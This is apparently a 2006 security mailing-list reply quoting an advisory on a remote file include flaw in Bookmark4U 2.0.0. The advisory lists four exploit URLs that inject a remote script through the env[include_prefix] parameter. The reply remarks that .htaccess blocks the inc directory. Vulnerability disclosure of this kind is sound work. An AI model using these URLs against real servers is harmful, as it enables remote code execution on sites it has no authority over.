<<< Date Index >>>     <<< Thread Index >>>

Re: Bookmark4U Remote File Include



The inc directory is filtered with .htaccess (Deny from all).  Still
vulnerable code though :)

/str0ke

On 4 Jun 2006 14:39:27 -0000, selfar2002@xxxxxxxxxxx
<selfar2002@xxxxxxxxxxx> wrote:

---------------------------------------------------------------------------

Bookmark4U <= 2.0.0? ([include_prefix]) Remote File Include Vulnerabilities

---------------------------------------------------------------------------

Discovered By SnIpEr_SA

Author    : SnIpEr_SA

Remote  :  Yes

Local     :  No

Critical Level : Dangerous

---------------------------------------------------------------------------


Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application : Bookmark4U

version     : 2.0.0

URL         :http://bookmark4u.sourceforge.net/

...

------------------------------------------------------------------

Exploit:

~~~~~~~~

# 
http://www.site.com/[Bookmark4Upath]/inc/dbase.php?env[include_prefix]=[evil_scripts]

# 
http://www.site.com/[Bookmark4Upath]/inc/config.php?env[include_prefix]=[evil_scripts]

# 
http://www.site.com/[Bookmark4Upath]/inc/common.php?env[include_prefix]=[evil_scripts]

# 
http://www.site.com/[Bookmark4Upath]/inc/function.php?env[include_prefix]=[evil_scripts]


---------------------------------------------------------------------------

*/

Contact:

 ~~~~~~~~

 SnIpEr_SA

E-mail: selfar2002@xxxxxxxxxxx

E-mail: SnIpEr.SA[at]hotMail[dot]com

Homepage: http://www.3asfh.net/  & http://www.lezr.com/

Greetz: All My Frind

/*

-------------------------------- [ END ] ----------------------------------